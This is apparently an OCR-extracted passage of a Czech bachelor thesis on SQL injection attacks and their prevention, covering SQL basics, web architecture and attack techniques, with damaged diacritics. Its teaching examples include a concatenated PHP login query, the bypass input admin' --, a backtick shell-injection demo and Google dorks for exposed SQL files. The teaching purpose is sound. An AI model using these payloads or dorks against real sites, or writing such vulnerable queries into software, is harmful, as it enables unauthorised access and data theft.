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Utok SQL Injection a jeho prevence

Abstrakt

Bakalatskd prace se zabyva stale aktudlnim tématem tutokti SQL injection na webové
aplikace, snimi propojené databazové systémy a preventivni ochranou vuci nim.
V teoretické Casti se ve strucnosti vénuje databazovym technologiim a praci s jazykem SQL.
V samostatné kapitole popisuje problematiku webovych aplikaci. Dale popisuje SQL
injection Utok, rizika s nim spojena a nejriznéjsi techniky jeho provedeni. Teoreticka ¢ast je
zakoncena popisem metod ochrany proti SQL injection. V praktické Casti jsou otestovany
metody SQL injection na jednoduché aplikaci. Je zde navrzena vhodna ochrana, ktera je

implementovana a otestovana jeji funk¢énost.

Klic¢ova slova

Rela¢éné databazova technologie, SQL, utok SQL injection, webové aplikace, zabezpeceni

databazi



SQL Injection attack and its prevention

Abstract

The bachelor thesis deals with the ever-current topic of SQL injection attacks on web
applications, related database systems and preventive protection against them. In the
theoretical part, it briefly discusses database technologies and working with the SQL
language. In a separate chapter, it describes the issue of web applications. It also describes
SQL injection attack, the risks associated with it and various techniques of its execution. The
theoretical part ends with a description of methods of protection against SQL injection. In
the practical part, SQL injection methods are tested on a simple application. A suitable

protection is designed, implemented and its functionality is tested.

Keywords

Relational database technology, SQL, SQL injection attack, web applications, database

security
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1 Uvod

Prvni zminka o zranitelnosti typu SQL injection se objevila v roce 1998 v ¢lanku napsaném
Jeffem Forristalem.[1] Piestoze je tato zranitelnost znama jiz témér Ctvrt stoleti, tak se stale
jedna o jeden z nejéastéjSich typu kybernetickych utokd. SQL injection dokonce mnoho let
vedla zebii¢ek OWASP! Top 102.[2] Princip fungovani SQL injection je velice jednoduchy.
Drtiva vétSina webovych aplikaci pracuje s databazi pro uchovéavani dat. Do téchto databazi
pfichazeji dotazy sestavené na zaklad€ uzivatelskych vstupl. Potencidlni Gtocnik ovSem
muze do dotazu pomoci vstupu vlozit skodlivy fetézec. Timto zpiisobem muze zcela ménit
chovéni databaze. Utocnik je ve vétsing piipadi motivovan ziskanim dat z databaze, n&kdy

jsou vsak jeho motivy destrukéniho charakteru.

Primérnim divodem vzniku SQL injection zranitelnosti je nedostatecnd duslednost
vyvojaft pii oSetfovani uzivatelskych vstupt. To muize byt déno jejich nezkuSenosti,
nedostatenym sledovanim bezpecnostnich trendi anebo prostou nepozornosti.
V neposledni fadé hraje roli i fakt, ze mnoho i zkuSenéjSich vyvojaia (a obecné pracovnikil
ve stéte IT) neptiklada této kybernetické hrozbé dostate¢nou vahu. Divodem mnohdy byva
presvédceni, Ze napadeni jejich aplikace nebo webu neni pro uto¢nika dostatecné vyhodné.
Faktem vsak je, ze citliva uzivatelska data jsou velice lukrativni. V kazdém piipadé jsou
nasledky uspésného SQL injection Gtoku mnohdy velice finan¢né ndkladné. Data maji na
¢ernych trzich velkou hodnotu a také reputace spolec¢nosti mize byt velice negativné

ovlivnéna Gispésnym ttokem.

Prvni ¢ast bakalarské prace se zabyva teoretickymi principy problematiky SQL injection.
V kapitolach jsou zde postupné popsany zdklady databdzovych systému, jazyk SQL,
architektura webovych aplikaci a problematika SQL injection. V poslednich dvou kapitolach
prvni ¢asti je popis metod SQL injection vyuzitych v €asti praktické a také metody ochrany

proti SQL injection.

! The Open Web Application Security Project je mezinarodni neziskova organizace zabyvajici se vyzkumem
Vv oblasti kyberbezpecnosti
2ZOWASP Top10 je seznam deseti nejcastéjsich bezpe€nostnich zranitelnosti.
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Ve druhé casti bakalaiské prace je ve dvou kapitolach nejprve navrzeno feSeni ochrany a
poté je spoleéné s nezabezpecenou aplikaci podrobeno sérii testll. Obsahem zavéreéné

kapitoly druhé Casti je zhodnoceni a diskuse nad vysledky.
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2 Cil prace a metodika

2.1 Cil prace

Bakalatska prace je tematicky zamétena na problematiku bezpecnosti databazovych aplikaci
a utokl typu SQL injection. Hlavnim cilem této prace je implementovat a ovéfit i¢innost
zpusobu prevence vuci SQL injection utokim na zaklad¢ principi vymezenych teoretickou

Casti prace.

Diléimi cili této prace jsou:
e Vymezit teoretické principy problematiky databazi a jejich zabezpeceni
e Zmapovat rozsah moznych SQL injection technik

e Vytvofit n€kolik skriptll s riznym stupném ochrany vii¢i SQL injetion

2.2 Metodika

Pouzitd metodika této bakalatské prace bude zalozena na studiu a analyze dostupnych
informacnich zdroji, odbornych publikaci, technickych dokumentaci a ptipadnych
existujicich feSeni v oblasti SQL injection. Po analyzovani relevantnich informaci ze zdroju

budou za pomoci metody deskripce tyto informace interpretovany v teoretické ¢asti prace.

V praktické casti budou stézejnimi metodami techniky relaéné databazovych technologii,
jazyku SQL a jazyku PHP. S vyuzitim programovacich technik, jazyku SQL a znalosti
ziskanych v teoretické c¢asti bude implementovano nékolik skripti rdzného stupné
zabezpeceni. Vyhodnoceni navrzeného feSeni bude provedeno z vystupi vytvorenych S
vyuzitim metod manualniho testovani podle pfipravenych testovacich dat. Na zakladé¢
dosazenych vysledkli budou formulovany zavéry této bakalatské prace a zobecnény pro

mozné dalsi pouziti.
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Vlastni metodické kroky pro vypracovani bakaléaiské prace jsou nasledujici:

e Vyhledani relevantnich informacnich zdroja

e Dtkladna analyza téchto zdroji

e Vymezeni principi databazovych technologii v¢etné jazyku SQL
e Popsani pribehu a technik SQL injection

e Zmapovani soucasnych feseni ochrany nad ramec kédu

e Vytvoieni testovaciho formulare

e Vytvoreni jednotlivych zpracujicich skripth

e Vytvoreni testovacich dat

e Ovefeni navrzeného feSeni na zakladé testovani dle scénait

e Zhodnoceni dosazenych vysledki

e Shrnuti prace
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3 Teoreticka vychodiska

Prvni cast této bakalarské prace bude zamétena na predstaveni principi databazi, jazyku
SQL a architektury webovych aplikaci. Dale bude popsana problematika SQL injection

utokii a metody ochrany proti nim.

3.1 Databaze

Databaze je kolekce vzajemné souvisejicich dat. Zplsob shromazdovéani téchto dat je
nepodstatny. At’ se jedna o papirovy telefonni seznam nebo o pocitacovy program, vzdy se
bude jednat o databdzi. V ramci této prace se ale vzdy bude termin databaze tykat

pocitatového programu pro spravu dat.

Organizované ulozeni dat v databazi umoziuje snadny pfistup k t€émto datiim, jejich spravu
a aktualizaci. Databéze tedy slouzi organizacim k uchovéavani integrovanych, sdilenych a
takzvané perzistentnich dat (Zivotnost dat ptesahuje béh aplikace), jejichz zpracovanim lze

ziskat hodnotné informace. [3]

3.1.1 Databazovy systém

Databazovy systém (DBMS), je softwarové rozhrani mezi aplikacnimi programy a
ulozenymi daty, které tak zajiStuje jak tvorbu databdze, tak i préci s ni a také jeji udrzbu.
Zajistuje vSechny zdkladni sluzby, které jsou nezbytné pro spravu databaze. Témito
sluzbami se mysli napiiklad soucasny pfiistup vice uzivateli k datim s oSetfenim proti
konfliktim, které mohou vznikat aktualizaci dat provadénych vice uZivateli. Dalsi
vyznamnou sluZbou je podpora dotazovaciho jazyku, ktery umoziuje ziskat data z databaze

pomoci mnoziny piikazi. [4]

3.1.2 Relaéni databaze

Rela¢ni databazovy model byl poprvé predstaven v roce 1970 doktorem E.F. Coddem, ktery
toho Casu pracoval jako vyzkumnik pro IBM. Model byl ptedstaven v praci ,, 4 relational
model of data for large shared data banks*. Codd sviyj databdzovy model zalozil na
principech matematickych relaci — konkrétné na teorii mnozin a predikéatové logice. Timto
po¢inem dal vzniknout dodnes klicovému databdzovému modelu, ktery vyuzivame

prakticky denné. [5]
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Ptednosti relacné-databazového pfistupu je jednoduchd reprezentace dat v podobé
dvourozmérnych tabulek, se kterymi dokédze uzivatel snadno pracovat. Uzivatel pracuje

pouze s datovymi strukturami na vySsi urovni abstrakce a nemusi znat fyzické ulozeni dat

na disku. [4]

Rela¢ni tabulka je organizovana tak, ze fadky tabulky nejsou ulozeny v urcitém poradi.
Kazda relace ma své jméno a svij atribut, ktery ma téz své jméno, svij datovy typ a svoji
doménu, coz je mnozina atomickych hodnot. Kazdd hodnota v doméné je tedy dale

nerozdélitelna.

Mezi nejrozsifené;si relaéné databazové systémy patii Microsoft Access, Oracle, Microsoft
SQL Server, Postgresqgl a MySQL.
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3.2 Jazyk SQL

Jazyk SQL (Structured Query Languange®) je deklarativni jazyk. Vyvinulo ho IBM v 70.
letech 20. stoleti pod nazvem SEQUEL. Prace na dotazovacim jazyce zaCaly po uveiejnéni

Coddova rela¢niho databazového modelu.

Jazyk je zalozeny na relacni algebfe. Je standardizovany organizacemi ANSI* a 1SO°®.
Nejnovéjsi standard je z roku 2016 (ISO/IEC 9075:2016). [6]
3.2.1 Zaklady technologie SQL

V ramci technologie SQL lze piikazy rozdélit do nékolika skupin, jak je mozné vidét na

obrazku ¢islo 1.

SQL piikazy
[ DDL ] l DML J l DCL J [ TCL ]
CREATE INSERT
DROP UPDATE
ATer | DELETE | oRANT | poiBAc
D G REVOKE | SAVEPOINT

COMMENT LOCK
RENAME MERGE

Obrazek 1 - prehled SQL prikazii [viastni]

e DDL (Data Definition Languange)
Soucast SQL pro definici dat, Gpravu tabulek. Dulezité piikazy jsou CREATE,
DROP, ALTER. Pomoci nich se definuji nové struktury.

e DCL (Data Control Languange)
Soucést pro spravu uzivatelskych roli a prav. Pomoci piikazi GRANT, REVOKE
jsou upravovana prava uzivateli. Pfikaz GRANT prava udéluje a piikaz REVOKE
je odebira. [7]

3 Strukturovany dotazovaci jazyk
# American National Standards Institute
S International Organization for Standardization
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e DML (Data Manipulation Languange)
Prikazy z této kategorie se pouzivaji k manipulaci s daty v databazi. Mezi dulezité
ptikazy lze zaradit SELECT, INSERT, UPDATE, DELETE a pomoci nich se
vkladaji, mazou ¢i méni zdznamy.

e TCL (Transaction Control Languange)
Ptikazy pro spravu databazovych transakci. V ramci obsahu této bakalarské prace

neni tato kategorie dilezita pro pochopeni problematiky.

Nékdy se uvadi jesté samostatna kategorie DQL (Data Query Languange), ktera obsahuje
piikaz SELECT. Nicmén¢ vétSinou se tento ptikaz zahrnuje do kategorie DML. Je také
dialezité si uvédomit, ze vycet piikazii na obrazku cCislo jedna neobsahuje celou mnozinu

klicovych slov SQL.

SQL piikazy, dalsi klicové slova® a strukturalni data’ dohromady tvoii dotazy, které pracuji
s databazi. Problematika zpracovani SQL dotaz je pomérn¢ obsahlé téma. Zjednoduseny

proces lze vidét na obrazku cislo 2.

Procesor piikazového jazyku ptrevede dotaz SQL a optimalizuje jej pro stroj DBMS. DBMS
stroj podle zkompilovaného dotazu manipuluje se soubory a daty ulozenymi v databazi.
Zpracovani SQL nékdy mlze byt velice ndro¢né na vykon a v praxi se tedy uplatiiuje mnoho

zpusobu ladéni vykonu. Toho lze dosahnout napfiklad za pomoci indexace. [7]

Procesor
SQL pikaz »  pfikazového »  DBMS stroj Fyzicka
. v ) -
jazyka databaze

Obrazek 2 - proces zpracovani dotazu SQL [viastni]

¢ Klauzule — napt. ORDER BY, GROUP BY, HAVING, WHERE, FROM atd.
" Nézvy sloupct, tabulek.
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3.2.2 Datové typy v SQL

Datovy typ sloupce tabulky definuje, jaka data se v ném mohou vyskytovat. Datovy typ je
povinnou polozkou pii definici sloupce tabulky. Zakladni datové typy v SQL jsou:

e INTEGER — celé ¢islo, 4 bajty

e BIGINT — celé ¢islo, 8 bajth

e DECIMAL - pohybliva carka, ulozeno jako fetézec znakl v délce x bajtl, kde x je
délka fetézce

e BOOLEAN - logicka hodnota, 0 vyjadiuje False, nenulové hodnoty vyjadiuji True

e DOUBLE - pohybliva carka, 8 bajth

e FLOAT — pohybliva ¢arka, 4 bajty

e CHAR —fetézec pevné délky

e VARCHAR —fetézec pohyblivé délky

e DATE — formatované datum, 3 bajty

e TIME — cas, 3 bajty

Tyto datové typy jsou definovany v rdmci databaze MySQL a pro jiné DBMS se mohou liSit.
Zaroven je nezbytné zminit, Ze dany vycet obsahuje pouze zakladni datové typy a je tudiz

nelplny. Nicméné pro potteby pochopeni problematiky datovych typi SQL je dostacujici.

3.2.3 Priklady uziti SQL

Pro pochopeni pouZivani jazyku SQL je nejlepsi demonstrovat jeho vyuZiti na ptikladech.
V nasledujici kapitole tak bude vytvotrena jednoducha ilustrativni tabulka a pomoci ni budou

predvedeny zékladni SQL ptikazy. Pro vytvofeni tabulky se pouziva piikaz CREATE.

CREATE TABLE zamestnanci
(Jjmeno VARCHAR (20),
prijmeni VARCHAR (25),
telCislo CHAR(9),

email VARCHAR (30));
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Byla vytvoiena nasledujici tabulka zamestnanci.

jmeno prijmeni telCislo email

Tabulka 1 - ukdzkova tabulka zamestnanci 1

Pro prvni sloupce jmeno, prijmeni a email je pouzit datovy typ VARCHAR
s pohyblivou délkou a pro telCislo je pouzit typ CHAR s fixni délkou.

Nyni Ize tabulku naplnit daty. Pro vloZeni dat do tabulky existuje piikaz INSERT.

INSERT INTO zamestnanci

(jmeno, prijmeni, telCislo, email)

VALUES

('Jan', 'Novak', '930777555'", 'jnovak@mail.cz');

Kli¢ové slovo INTO specifikuje nazev tabulky, do které se maji data vkladat. Poté nasleduje
mnozina nazvu sloupct. Klicové slovo VALUES uvozuje mnozinu hodnot, které se vkladaji

do sloupct tabulky. Je také dobré si povSimnout, ze kazdy ptikaz v SQL je ukoncen

stfednikem.

Po vlozeni druhého zaméstnance tabulka vypadéa nasledovné:

INSERT INTO zamestnanci

(jmeno, prijmeni,

VALUES

('Petr', 'Dvorak',

telCislo,

'380777458",

email)

'dvorakpetr@mail.cz'");

jmeno prijmeni telCislo email
Jan Novak 930777555 jnovak@mail.cz
Petr Dvorak 380777458 dvorakpetr@mail.cz

Tabulka 2 - ukazkova tabulka zamestnanci 2
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Data v tabulce lze samoziejmé upravovat. Piikaz pro upravu dat v tabulce je UPDATE.

UPDATE zamestnanci
SET email='pdvorak@seznam.cz'

WHERE prijmeni='Dvorak';

Timto piikazem byla upravena emailova adresa u pana Dvoraka. Ptikaz WHERE funguje
jako filtrujici podminka. Zde jsou zahrnuty pouze tadky, které ve sloupci prijmeni maji

hodnotu Dvorak.

Kli¢ové slovo SET urcuje konkrétni sloupec, ve kterém se bude piepisovat hodnota.

Data z tabulek mizeme také mazat. Pro tento ucel existuje piikaz DELETE.

DELETE FROM zamestnanci

WHERE prijmeni='Dvorak';

Kli¢ové slovo FROM specifikuje konkrétni tabulku, ze které se budou mazat hodnoty. Zde

je tedy vymazan pana Dvoiak z tabulky zamestnanci.

Nezbytnou soucasti funkcionality jazyku SQL je moZnost vypsat nebo zobrazit data uloZzena

v tabulkach. K tomu se pouziva ptikaz SELECT.

SELECT * FROM zamestnanci

WHERE prijmeni='Dvorak';

SELECT telCislo, email FROM zamestnanci

WHERE prijmeni='Dvorak';

Prvni ptikaz vypise vSechny zaznamy z tabulky zamestnanci, které maji ve sloupci

prijmeni hodnotu Dvorék.

Druhy piikaz vykond témét to samé, ale zobrazi pouze zdznamy ze sloupcli telCislo a

email.
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Pro potieby pochopeni nékterych technik SQL injection je také nutné zminit piikaz UNION,
ktery slouzi pro spojeni obsahu vice tabulek do jedné tabulky. EXistuje druha tabulka 1ide

jmeno prijmeni
Pavel Kaspar
Michal Sasek
Karel Polak

Tabulka 3 - ukdzkovd tabulka lide

SELECT jmeno, prijmeni FROM zamestnanci
UNION SELECT jmeno, prijmeni FROM lide
ORDER BY jmeno;

Tento pifikaz vytvoii novou tabulku ze dvou tabulek zamestnanci a lide, ve které

budou sloupce jmeno a prijmeni. Hodnoty budou fazeny abecedné podle sloupce

jmeno.
jmeno prijmeni
Jan Novak
Karel Polak
Michal Sasek
Pavel Kaspar
Petr Dvorak

Tabulka 4 - ukdzkova tabulka po UNION

Poslednim pfikazem zminénym v této kapitole je DROP TABLE, ktery slouzi pro zahozeni
(vymazani) celé tabulky. V nasledujicim ptikladu pomoci ného bude odstranéna tabulka

lide.

DROP TABLE lide;

Tato kapitola se zabyvala zakladni funkcionalitou jazyku SQL a byla zpracovana zejména

podle ptikladi z [7].
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3.3 Architektura webovych aplikaci

Typicka webova aplikace pracuje na principu klient/server. Na stran¢ klienta je ve webovém

prohlizeci ¢ast kodu (HTML, CSS, Javascript). Na serveru je uzivatelim nepiistupny kod

(typicky v PHP, Jav¢, Pythonu nebo C#).

HTTP reply:
m HTML
m XML

m Media

HTTP request
(cleartext or SSL)

A System of
Tubes

<=

Obrazek 3 - architektura webové aplikace [20]

+ QOracle
+ MySQL
+ MS SQL Server
+ postares.
= — > \Webapp 1 €8 e
—> SQL
1 \Webapp [ DB(s)
Web
Server > \-4
> Web app B
— >
=— > \Web app
+ Apache + Rails
+ NginX + .NET
+ 11S + Diange
+ J2EE

Klient pomoci protokolu HTTP/HTTPS zasila pozadavky na webovy server. Tam je jeho

pozadavek zpracovan a webova aplikace ziska vyZadovana data z databaze. Databaze miize

byt na stejném serveru jako webova aplikace, ale neni to pravidlem. Nasledn¢ webova

aplikace zaSle pozadovana data zpét webovému prohlizeci a ten vykresli pozadovanou

webovou stranku. Pro potieby této prace bude uvazovan zjednoduSeny model na obrazku

¢islo 4.

-

Prohlized

\

.

HTML,CSS JS

4 B

Wehovy server

o

y

Webova aplikace

- w,

Obrdzek 4 — zjednoduseny model webové aplikace [vlastni]
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3.4 Zranitelnost SQL injection

3.4.1 Code injection

Code injection je obecny termin pro Utoky vyuZivajici chyby v aplikacich, které nastavaji
pti nevhodném postupu zpracovavani vstupnich dat. Konkrétn¢ se jedna o Spatné oSetieni
vstuptl. Utoénik miize aplikaci podstréit vstup se spustitelnym kédem, ktery se vykona a
zméni chod aplikace. V nasledujicim jednoduchém ptikladu je demonstrovana zména

chovani shell skriptu. [8] Ve skriptu echo . sh mame nasledujici kod:

#!/bin/bash
echo $1

Skript vypise do konzole pfedany argument. Pokud je ovSem do argumentu dosazen
naptiklad vyraz uzavieny v'‘, tak to shell povazuje za ptikaz a spusti ho. S pomoci

argumentu ‘1s -A‘® lze dostat nasledujici vypis v terminalu:

-rw-r—-—-r—— 1 root root Jun 13 27:54 filel
-rwsr-xr—-x 1 root root Jun 13 27:43 echo.sh

-rw-r—--r—-— 1 root root Jun 13 27:33 file2

Skript nejprve vykonal piikaz nastr¢eny tto¢nikem a potom vypsal vlastni vystup. [8] Byt
je tento prtiklad relativné neSkodnou ukazkou, velice zjevné demonstruje, ze zneuziti code

injection je velice jednoduché.

8 Piikaz Is -A vypise podrobny obsah adresaie ve kterém se nachazime.
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3.4.2 SQL injection

Utok SQL injection (déle jen SQLi) spad4 do zminéné kategorie injection utoki. V tomto
piipadé utocnikova Skodlivd data pomoci dotazovaciho jazyku SQL ovliviuji chovani
databazovych systéml napojenych na aplikaci. Jednd se o velmi zdvaznou kategorii
zranitelnosti, protoze Gito¢nik muze zcela zménit chod napadené aplikace. V nasledujicim

prikladu je popsédna jedna z nejzakladnéjSich technik SQLi.

Na webové strance se nachazi HTML formular a na serveru data zpracovava skriptovaci

jazyk PHP. [9]

<form name="login" action="prihlaseni.php" method="POST">
<input type="text" name="jmeno" />
<input type="password" name="heslo" />
<input type="submit" value="Pf¥ihlasit" />

</form>

Data z formulare jsou pomoci HTTP metody POST ptedéana skriptu prihlaseni . php.

Tento skript obsahuje nasledujici kod:

Squery = SELECT jmeno FROM uzivatele
WHERE jmeno=\’'’.S$ POST[’jmeno’].”\’

AND heslo=\’’.$ POST['heslo’].’"\"’;

Skript pro zadana data (pfihlasovaci udaje) provede porovnani s daty Vv tabulce
uzivatele. Pokud by uZivatel zadal spravné uZzivatelské tdaje, systém ho pfihlasi.
V opaéném piipadé by se zobrazila chybova hlaska o nespravnych pfihlagovacich tidajich®.

V ptipadé€ béZného scénare piihlaSeni by se nad databazi vykonal tento dotaz:

SELECT * FROM uzivatele WHERE jmeno = 'uzivatelxx'
AND heslo = 'heslol234';

® Zalezi na konkrétni implementaci zpracujiciho skriptu. Piiklad zde obsahuje pouze vyhatek kédu nutny
k pochopeni ptikladu.
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Nicmén¢ utocnikovym cilem je pozménit tento dotaz tak, aby od aplikace vyvolal
neocekavanou reakci. Tudiz by mohl ve vychozim formulati do pole jmeno jako vstup

zadat fetézec admin’ -—. V tomto ptipadé by pak SQL dotaz vypadal nasledovné:

SELECT jmeno FROM uzivatele WHERE jmeno = 'admin' -- ' AND

heslo = 'Heslo';

Jelikoz fetézec —— je klidové slovo, které oznaduje zadatek komentaie®®, tak se vykona
pouze prvni ¢ast dotazu. To znamena, Ze se ignoruje ¢ast pro kontrolu hesla. Tudiz uto¢nik

je schopen se ptihlasit pod administratorskym tétem bez nutnosti znat heslo. [9]

3.4.3 Rizika SQL injection

Zavaznost nasledkit SQLi se mtize velice riiznit v z&vislosti na motivaci uto¢nika, jeho cilech

anebo na trovni zabezpeceni napadené aplikace.

Primarnim cilem ato¢nikl jsou ve vétSin€ ptipadi citliva data. Tato data jsou ziskavéana za
ucelem penézniho zisku. Toho lze dosdhnout at’ uz pfimo ukradenim citlivych tdajt (¢isla
kreditnich karet, datum expirace a CVV!! kédy) nebo naslednym prodejem dat (emaily,
hesla). Mnohé webové portaly a e-shopy bohuzel uto¢nikiim velice usnadnuji praci. Bud’
nepouzivaji viibec zadné Sifrovani pro ukladani hesel (hesla jsou ulozena pouze v plain*?

textu) anebo pouZivaji zastaralé a nebezpecné Sifrovani®®. [8]

Pro mnoho tto¢nikil ale nemusi byt finanéni motivace tou hlavni. Nékteré provedené utoky
mohou byt ¢isté destruktivniho charakteru. Pokud neexistuji dostate¢né zalohy, tak mtze byt

vymazani databaze velice zdvazny problém.

Data v databazich nemusi byt pfi nékterych utocich cilem uto¢nikiti. SQli Utok muze

poslouzit jako nastroj pro proniknuti do operacnich systémi bézicich na serverech a jejich

10 Toto plati pouze v n&kterych databazovych v systémech.
11 Kontrolni tiimistny kod na zadni strané kreditni karty.

12 Prosty text.

13 Naptiklad mdb5.
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kompromitaci. V takovém ptipad¢ mtze utoc¢nik na server nasadit skodlivy kod, ktery mu

umozni piistup'* nebo miize dany stroj ,,zotro¢it* a vyuzit naptiklad pro DDoS utoky*°.[9]
Hlavni rizika SQLi utoku tedy jsou:

e Neopravnény piistup k datim — tato data nemusi byt nutné citliva

e Zmeéna dat

e Celkova ztrata dat

e Uniknuti informaci o systému muze vést k jeho kompletnimu ovladnuti uto¢nikem
e Usp&ny SQLi utok také velmi vyrazné poskozuje divéryhodnost konkrétniho

napadnutého subjektu, coz mize mit vyrazné ekonomické diusledky

Mezi vyznamné uspéSné SQLi utoky miiZeme zatadit naptiklad:

e SQLi utok na kalifornského poskytovatele internetového piipojeni Sebastian v roce
2013. Pomoci ukradenych citlivych udaji ke kreditnim kartdm zakaznikl utocnici
odcizili vice nez 100 000 dolart. [10]

e Témét 6,5 milionu zahashovanych hesel bylo ukradeno ze sité LinkedIn v roce 2012
pomoci SQLi utoku. LinkedIn utratil téméf milion dolarti v rdmcei vySetfovani
incidentu. [11]

e Vroce 2016 neznamy Uto¢nik v pribéhu voleb v Illinois pomoci SQLi zranitelnosti

odcizil data vice nez 200 000 registrovanych voli¢d. [12]

14 Tzv. backdoor.
15 Denial of Service.
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3.4.4 Pribéh utoku SQL injection

Nez bude v této kapitole popsan standardni prubéh bézného SQLi utoku, tak je nutné také
rozlisit rizné zpiisoby, jakymi se predavaji vstupy dale do aplikacni logiky. Vzhledem
K typické architektuie webovych aplikaci, zalozenych na principu klient/server, je ziejmé,
ze mezi klientem a server existuje spojeni na zakladé né¢jakého protokolu. V tomto piipade
se jedna o protokol HTTP, popiipadé jeho Sifrovanou nadstavbu HTTPS. Tento protokol
definuje nékolik metod pro pienos dat. Nicméné pro zneuzivani zranitelnosti SQLi se lze

hloubgji zabyvat dvéma klicovymi: GET a POST. [9]

e Metoda GET

Metoda GET pracuje s parametry piedavanymi v URL adrese. Webovy prohlize¢ na
zaklad¢ predanych parametri odeSle pozadavek na server. Ten v odpovédi zaSle
pozadovana data (html soubory, obrazky a podobn¢) a prohlize¢ tyto data zpracuje a
vykresli vyslednou podobu webové stranky.

Predani parametri GET metodou a vysledny SQL dotaz je popsan nasledujicim

prikladem:

http://website.com/index.php?jmeno=uzivatel

SELECT * FROM uzivatele WHERE jmeno = 'uzivatel’;

Nicméné je nezbytné zminit, Ze tento zplisob pfedavani hodnot neni zcela vhodny pro
nekteré typy vstupt jako jsou naptiklad praveé uzivatelskd jména a hesla. Pfedavané

hodnoty jsou v URL adrese viditelné. [13]

e Metoda POST

Metoda POST se vyuziva k predéani dat od uzivatele na server. Na rozdil od metody GET,
ale POST nezobrazuje data v parametrech URL adresy, ale predava je v téle HTTP
pozadavku. Data jsou tedy skryta pied uzivateli. Metoda POST je vyuZzivana zejména
HTML formuléafi. [13]
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Prestoze metody GET a POST jsou nejtypictéjSim zneuzitym vstupem pii SQLI, tak nejsou
jedinym. Lze se setkat i s itokem SQLi pomoci cookies, serverovych proménnych anebo

HTTP hlavicek. [14]

Cookies jsou maly datovy soubor, ktery obsahuje informace o uzivateli a je generovany
webovym prohlizeCem. Vyuziti cookies se nachazi v oblasti autentizace a uzivatelskych

sessionst®.

SQLi1 pomoci serverovych proménnych je o dost vzacnéjsi nez SQLi pomoci metod GET a
POST. Serverové proménné jsou kolekci proménnych, které obsahuji data z HTTP
pozadavk, sitové hlavicky a systémové proménné. Webové aplikace vyuzivaji serverové
proménné pro logovani informaci. Pokud je takova proménna zanesena do databaze bez
oSetfeni, tak miize v sobé obsahovat skodlivy kod. [14] Piikladem serverové proménné je

napiiklad $ SERVER V PHP, ktera obsahuje informace o prostiedi serveru. [15]

Pro uspésny SQLi utok je vhodné, aby uto¢nik dobie naplanoval sviij postup a poté se drzel
daného schematického postupu. Vétsina SQLi ttokt se déli minimaln€ na tyto tii kroky:

nalezeni vhodného vstupu, potvrzeni existence SQLi zranitelnosti a samotny SQLi.

e Prizkum webové aplikace

Ve vétsin€ webovych aplikaci je nej€astéji zneuzivanym vstupem HTML formular
<form>, ktery obsahuje vstupy <input>. V modernich aplikacich se ¢im dal cast&ji
zneuziva rozhrani API’,

e Potvrzeni existence SQLi zranitelnosti

Dalsim krokem tto¢nika z pravidla byva potvrzeni toho, Ze vybrany vstup je skutecné
nachylny k SQLi. Toho lze dosahnout dosazovanim fetézct s cilem vyvolat odezvu
napiiklad v podobé chyby databazového stroje. Piikladem takové chyby v MySQL je

nasledujici chybové hlaseni: [9]

Warning: mysqgl fetch array(): supplied argument is not a
valid MySQL result

Resource in /var/www/website.com/showproduct.php on line 8

16 Zpiisob udrzovéni uzivatelskych informaci v ramci vice webovych stranek nebo v ramci opakovaného
navstiveny dané stranky.
17 Application Programming Interface
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e Samotny SQLi

V tuto chvili uz uto¢nik vi, ze aplikace obsahuje zranitelnost SQLi. V zavislosti na jeho
cilech®® vklada do vytipovanych vstupii $kodlivé fetézce. I v tomto kroku se velice ¢asto
dodrzuje urcita posloupnost. Nejprve se Gto¢nik pokousi zjistit informace o databazi a

podle toho uzpuisobit fetézce, které vklada do vstupi. [8]

3.4.5 Nastroje pro SQL injection

O procesu SQL.i lze hovofit jako o pfipraveném planu s nékolika kroky, které jsou vykonany
uto¢nikem ,,ru¢né”. Vzhledem K velikosti nékterych modernich aplikaci to ovSsem miize byt
velice zdlouhavy postup. Proto je béZznou praxi vyuzit néktery nastroj pro automatizaci SQLi1
ttoku. Téch je velké mnozstvi, at’ uz komerénich®® anebo open source. Je nutné podotknout,
ze pouziti téchto nastrojii bez souhlasu provozovatele webové aplikace nebo stranky je

trestny ¢in.

Mezi volné dostupné néstroje Ize zafadit pro predstavu naptiklad SQLmap?®, SQLninja?
nebo SQLSus??. Tyto nastroje je vhodné kombinovat, protoze nékteré se hodi na urdité

techniky SQLi vice nez jiné. [16]

DalS$im uzitecnym ,,nastrojem* pro SQLi (a obecné vyhledavani zranitelnosti) je tzv. Google
hacking. Jedna se o techniku ziskdvani informaci pomoci vyhledavaciho stroje?:. Pomoci
riznych operatort je mozné modifikovat hledany fetézec k vyhledani potencialné zranitelné
aplikace. Lze tedy specifikovat konkrétni verzi softwaru, ktery obsahuje ur¢itou zranitelnost

anebo lze vyhledat aplikace, které vykazuji znaky zranitelnosti.

intitle:"index of" filetype:sqgl

"phpMyAdmin" "running on" inurl:"main.php"

18 Pozménéni dat, znideni dat, zji$téni informaci atd.

19 Primarné vyuzivanych pro etické penetraéni testovani (white-hat hacking).
20 https://github.com/sglmapproject/sglmap

2L http://sqlninja.sourceforge.net/

22 http://sqlsus.sourceforge.net/

2 Nemusi se nutné jednat o Google, ale i jiné napt. DuckDuckGo.
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V prvnim ptipadé se vyhledaji veskeré soubory s ptiponou .sql na vSech strankach, které
povoluji vypis adresafové struktury. V druhém piipadé se vyhledaji stranky s vefejné

dostupnou instalaci phpMyAdmin?*. [17] [18]

3.4.6 Rozdéleni SQL injection

Techniky SQLi utokl lze délit podle nékolika kritérii. Moderni odborna literatura [9]
vetsinou pracuje s rozdélenim, které je znazornéno na obrazku Cislo 5. Toto rozd¢€leni je ale

spisSe orientacni a nezahrnuje vSechny typy utokd.

SQL injection J

In-band SQLi [ Out-of-band SQLI Blind SQLi

Union-based Error-based Time-based Boolean-based

Obrazek 5 - rozdeleni SQLi utokii [viastni]

Prvni kategorii SQLi ttoki jsou tzv. In-band ttoky?®. Jedn4 se o techniky utokd, které
vyuzivaji stejny komunikacni kanal jak pro utok, tak pro ziskani vysledkt utoku. Prikladem
muze byt vyhledavaci pole pro zbozi, které nam z databaze vraci zadané pozadované
vysledky. V ramci této kategorie se rozliSuji dva nejcastéjsi zpusoby pouziti SQli: Union-

based a Error-based.

e Union-based
Union-based zpusob SQLi vyuziva SQL ptikazu UNION, ktery se pouziva pro
sjednocovani tabulek. Pomoci této techniky je tto¢nik schopen ziskat data z vice tabulek

databaze najednou. Nicméné je nutné dodrzet pravidla pro spojovani vice tabulek.

24 Nastroj pro spravu databazového stroje pii pouziti jazyku PHP.
25 Nékteré zdroje ji téz oznacuji jako ,,Klasickou SQLi* nebo ,,Pfimou SQLi*.
